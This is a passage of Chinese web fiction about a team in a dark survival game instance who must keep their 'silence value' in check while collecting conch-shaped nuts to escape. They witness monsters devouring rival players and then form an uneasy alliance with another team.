“死不了,我们得赶紧通关,不然等他静默值又拉满了,你担心也没用了。”谢幕手里把玩着四个静音螺母,这里面三个是他们游戏通关后的奖励,第四个,是他们战胜邪恶,让正义之光重新洒满世界的奖励——从彪哥手里抢来的。
俞正则看着那个海螺,眼皮跳了跳,脑海里不由想起几乎被扒的只剩个衣服的三人。
谢幕将彪哥他们放到一处空地后,就让几人大叫刷静默值,要是有人停下,就朝着他们闭眼来一枪,可是很快三个人就没声了。
本来以为是那几人死都要和他们对着干,走进看才发现不知道什么时候彪哥的眼神已经涣散了,整个人头朝下趴在地上,四肢不停地抽搐着,嘴里不停呢喃着什么。
谢幕将他们都翻了个面,三人的状况一模一样。
女孩表情变了变,随后突然有一些惊讶的说道,“他们静默值还没到一百?”
【……对,其他的真的不能再告诉你了】
【他的静默值涨速会变得很快……你知道的,时间易逝,光阴难留,到时候别又怪我没提醒你……】
三人朝她好奇地看过来,好在他们并不能听到,谢幕连忙沉下了脸色,随手拿出一块桌布来,披在了倒下的三人身上。
这个道具是谢幕从古堡副本里得来的,但与当时获得的那个又稍稍有些不同。
没有人对谢幕的所作所为提出质疑,见她准备离开,几人立马跟上。
只是走到一半的时候,她又突然回头了,手电
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照向刚刚彪哥他们的位置,三个人被那条桌布遮起来后,单凭肉眼看去,那个位置就只是一块空地,现在手电光射过去,那里果然空无一物。
【静默值到一百了】脑海里,系统提醒她。
周围的枪声更明显了……还夹杂着一些模糊的人声。
谢幕细细分辨,发现那竟然,是自己的声音。
她做梦都没想到,竟然会被自己的声音吓到,该说不说,确实很凶……嗯很好,很有威严。
小小自恋了一下,她立马恢复了严肃。
手电筒的灯光突然转了个方向打到了他们身上,面前的一切重新恢复黑暗,相反他们暴露在灯光底下。
那声音越来越越来越近,越来越杂,似乎还有别人的声音。
“……挖出,挖出眼睛。”伴随着一道女声响起的,是不知道谁的惨叫声。
一切的惨状都淹没在黑暗中看不真切,但是谢幕却看清了。
一个四肢像面条一样的怪物,从天花板上掉了下来,精准得划开了隐蔽三人的道具,头似乎是嘴巴的位置吐出了一个巨大的吸盘,对准下方狠狠扎了进去。
伴随惨叫声,那个怪物的身体不停变换,一会是一个年轻的女孩,一会是一个猥琐的男人,最后,定格在彪哥那张大脸上。
“游戏……就是……这样的……就是这样的。”怪物重复着这句话。
紧接着,一只,两只……一堆白色的怪物像下饺子一样掉落在三人身边,嘴里嘟囔着不同的话,还有的触手似的嘴突突的模仿着枪声,他们似乎因为猎物的分配而争抢起来,撕咬声混杂着磕磕巴巴的机械人声在整个空间里震起一道道回音。
谢幕难得起了鸡皮疙瘩,既然那些枪声是这些东西发出的,那么刚刚的洞顶估计密密麻麻爬满了这些。
她转身,头也不回地带着几人连忙远离了这块地方。
一路上,谢幕都没有说话,苏迟担心的是不是准备收拾他们其实是错的,完全是因为谢幕的静默值现在也很高,她正在设法把静默值降下来。
就是死,她也不要被怪物吞进去合为一体!
可惜,静默值似乎升到80之后就不能再往下降了,而且下降的速度也变得很慢。
现在,她和夏炘也的静默值都在八十以上,看起来还有20的缓冲,但是据她刚刚实验来看,静默值到90以后人就会出现幻觉,然后失去意识。
也就是说,他们离副本的杀机,只有10点可以操作了,只要之后再出现一点过大的声音,他们就可以收拾收拾准备一块死了。
“把夏炘也的嘴巴封起来。”谢幕朝后小声道,“从现在开始,静默值没到十都别出声。”
三人一愣,但很快行动,夏炘也现在已经醒过来,只感觉嘴巴一凉,就被封起来一句话都说不来了。
为了以防万一,苏迟还将陈现的嘴巴也沾了起来。
只要再完成一个游戏,他们就可以通关了。
只要在这十点静默值上升的期间不出什么幺蛾子……
24.合纵
只差最后一个游戏,他们就通关了。
谢幕手上的两个,夏炘也的一个,还有彪哥他们身上抢来的一个,他们离通关只差最后一步了,所以谢幕倒也没有非常着急,将地上的杂物一个一个摸过去,本来想着怎么样都会有那么一个触发游戏吧。
结果,一个也没有,之前走两步就能掉进游戏里,现在特意去找,却反而找不到了。
“会不会,这些游戏是有专门的分布区域的?”苏迟小声说道,手电筒往后照去。
谢幕也陷入了思索,他们一个不漏的将见到的物品都摸了一遍,却什么都没有发生,这显然不是概率问题。
当然还有一个可能就是,静音海螺的数量是固定的,而现在五个静音海螺已经全部出现,只不过最后那个不在他们手上而已。
她想到了袁宿,毕竟除了彪哥外这几人,是她在副本里唯一见到的人,同时实力也不俗,不可能到现在都没找到一个静音螺母。
要不要蹲一下?如果他们还活着的话,应该就在他们的不远处。谢幕思索了一秒又自我否决了这个想法,没有那么多时间给她耗。
“折头吧。”她短短说了一句,几人对视一眼,默契的转身。
其实贸然折返并不是最优解,但是却是短时间内最能看到效果的方式。
俞正则本来还在担心夏炘也的腿会不会拉下什么残疾,没想到没过一会,腿上的伤口处就长出了新肉,本来他已经一蹦一跳的要下地走路了,却被俞正则强制又背了回去。
谢幕也提醒,“别逞强,跑不了就老老实实呆着,不然出了什么意外还得专门花时间把你又背起来。”
夏炘也瓮里翁气嗯了一声,不再挣扎。
其实很奇怪,谢幕内心嘀咕,自己给夏炘也用的药,可以大幅加快伤口的愈合速度,并且消除一切负面效果。
但是刚刚她使用之后,静默值并没有什么太大的变化,那么就说明在副本的设定里,静默值应该是一种……状态?
说不通,如果是状态,那么静默值升降由玩家发出的声音来决定,这是什么原因呢?
静默值为零会被抹杀,达到顶点则会被怪物抹杀,在静默值积累的过程当中必须一直发出声音,这么看来,似乎存在感更能概括。
玩家不断发出声音,向怪物发射自己的坐标,静默值越高存在感越强,怪物猎杀的优先级越高。
那么这样看来,静默值达到一百并不是绝对的死局,只要能够击杀怪物,等数字下降之后,还是有回旋的余地的。
谢幕自我宽慰到,越往回走,应该就越接近杀死彪哥的怪物,不知道他们是否还呆在原地,等待着下一个静默值过一百的人出现,在绝望的环境中或求饶,或沉溺,再悄悄拿走他的声音,甚至他的相貌。
如果在他们把自己吞噬了一半的时候,再将他们的身体劈开,自己会不会失去一半记忆,一半样貌?
她这样想着,耳边突然有一阵脚步声传来,所有人警觉起来,那声音清晰无比,好像就踏在他们耳边,谢幕将手电超前照去,那是他们从彪哥身上搜来的东西去,照明效果非常明显,像这种封闭的通道,光线大概可以穿透两百米不在话下,这么远的距离都没有的人,脚步声却近在耳边。
回声。
这个细节突然又被挖了出来,她好像也明白了为什么明明自己之前只发出了一点声音,但是静默值却涨了很长时间,现在看来自己造成的回声,也是静默值的增长条件之一,这就更能解释静默值作为存在感的这一历史性发现。
想不到自己脑子轻轻一转,就能获得那么多信息,但是知道这个有什么用呢?
短暂的自我欣赏后,谢幕又陷入了自我怀疑。
没有用,但是可以让人感觉自己很牛,所以又有用了。
谢幕关掉了手电,几个人缩在了一起,等待着声音的真正主人的出现。
很快,一支小队打着手电闯入了他们的视野。
是袁宿,没有想到现在两队人又相遇了。他们行色匆匆,整个队友的氛围都极其压抑,都沉默着闷头赶路。
谢幕打开手电迎了上去,袁宿看清来人吓了一跳,额头上不知道为什么冒出了一层冷汗,眼神止不住的四处瞟。
他旁边的平头青年表现得更为强烈,惊愕得向后退了两步。
整支小队似乎都因为眼前女孩的出现躁动起来,但看见谢幕疑惑地看向他们,似乎并没有恶意之后,才放松下来。
“额,有什么事吗?”袁宿假装轻松地开口,他并不希望谢幕发现自己认识她。
“我们有四个螺母,你们呢?”
袁宿惊得嘴角抽抽了两下,这种话相当于告诉别人自己身上带着五百万现金一样,遇到一个稍微有点坏心思的人,估计就直接抢了。当然,他就是那个会有坏心思的人,但是……
他又仔细掂量了一下面前人的实力,最后决定不冒这个险。
“两个,”他非常坦诚地掏出了自己手上的底牌,率先抛出了对方想要问的问题,“不如我们合作?”
谢幕原本平静的目光泛起了一丝怀疑。
“虽然副本奖励很诱人,但是合作共赢才可以亏损最小化不是吗?”
”我想收集到足够的螺母只是其中一环,这个副本不是简单的通关收集。”
袁宿的手指顺着螺母的纹路滑去,“你看这里,和其他螺母有什么不同?”
“不就黑了一块吗?”谢幕看了又看,除了螺尾处有一些斑黑外,也没什么异常。
袁宿将螺母放在了谢幕手中。
【获得道具:静音螺母(已被污染34%)】
?
谢幕翻出了自己手里的四个,这不摸不知道,一摸才发现四个里面有三个已经被污染了。
“我怀疑,被污染的静音螺母,不能被作为通关的钥匙。所以现在,合作才是最优解。“
面前的女孩陷入了思考,但很快她点了点头,自己本来就是为了要么打劫,要么合作来的,
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现在对方主动提出,给出的理由还很充分,她没有道理拒绝。
更何况自己手里通关的依仗,有可能根本没有用,这更坚定了她合作的想法。
“那我们折回去把游戏都通关了?”
袁宿摇摇头,”我来的路上仔细观察了这个污染的速度,再看你们的被污染到这个程度,除一半路程,那种距离你们都没有找到育母螺房,照你们说的接下来都不会再有游戏触发,我们就算回去继续通关游戏也不可能带着干净的螺母抵达出口。“
”你知道这些螺母为什么被污染?“谢幕一针见血提出了最重要的问题。
“这……也是一个难过的故事,我们队里的一位玩家,在游戏里不小心将静默值刷到了85,之后一直降不下去,临死前将本来由他保管的道具都交给我们。”
在那人将螺母交给他们的时候,他的手掌与螺母接触的地方升腾起一股黑烟,螺母身上也出现了黑色的斑纹。
本来他还觉得是副本中玩家死亡的特别仪式,可是当那螺母在自己的手上,随着他们前进慢慢变黑后,他意识到了不对。于是他招呼人停下来,静止不动,一点声音都没发出后,变黑的速度果然减缓甚至消失了。
在这个副本里行走,不发出声音是绝对不可能的,哪怕你发出的声音再小,也会有墙壁形成回音,将本来微小的声音一点点扩大,直到让你无法忽视。
袁宿双眼炽热地看向谢幕,他一连告诉了对方两个关于副本的信息,足以证明自己的诚信。
果然,谢幕抬眼看了看他,伸出手来,“合作愉快。”
两队人马之间的关系明显亲近了不少,平头青年更是亲昵地勾住陈现的肩膀。袁宿的脸上挂着笑意,眼底却闪过了一丝狡黠……
其实,他还藏了一手,不过想到对方竟然有三个被污染螺母,他最后还是决定不告诉对方。
“兄弟,怎么不说话呀,怕什么,我们小声点不就行了吗?”说着一把将陈现嘴上的干掉的胶水撕了下来,“我!过江风,柳七。等副本通关了带你喝酒怎么样啊哈哈哈哈。”
陈现都没怎么搭话,但耐不住对方是个自热锅,自己聊着聊着就笑了起来,袁宿回头瞪了他一眼这才努努嘴不说话,他一路上不让干这个不让干那个早就憋屈死了。
虽然说双方已经敲定了合作,但是袁宿还是习惯性的评估了一下谢幕那边人的水平。
这一看,倒是让他发现了有意思的事情。
只见一个和谢幕年纪差不多大的青年,站在其余三人的中间,几人哪怕到了现在都以一种保护的姿态围在他的四周,尤其是谢幕,这是他最在意的,那青年站在谢幕身后,几乎每隔几秒,谢幕都会微微向后看去,似乎是在确认对方是在安全范围内。
而那个青年呢,虽然看起来是在看远处的黑暗,但是眼珠子却一直偏向前面女孩的方向。
……
袁宿不由多看了他俩一眼,他记得在古堡的视频中,两个人似乎不认识才对?